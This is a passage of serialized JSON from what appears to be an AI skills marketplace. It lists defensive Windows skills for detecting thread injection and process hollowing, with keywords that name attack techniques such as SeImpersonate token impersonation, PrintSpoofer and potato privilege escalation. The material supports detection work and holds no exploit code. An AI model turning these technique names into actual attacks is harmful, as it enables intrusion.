detect","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":192,"publishedAt":44},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[193,194,25,195,173,175,196,43,197,177,39,122,135,37,198,199,200,185,33,112],"thread","processes thread injection detect","injection","memory","process-injection","apc-injection","thread-injection","nt-api",{"skillNo":202,"name":203,"nameZh":6,"description":204,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":205,"categories":206,"keywords":207,"publishedAt":44},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[208,25,173,209,196,43,210,211,39,122,212,213,214,215,216,217,33,112,218,219],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]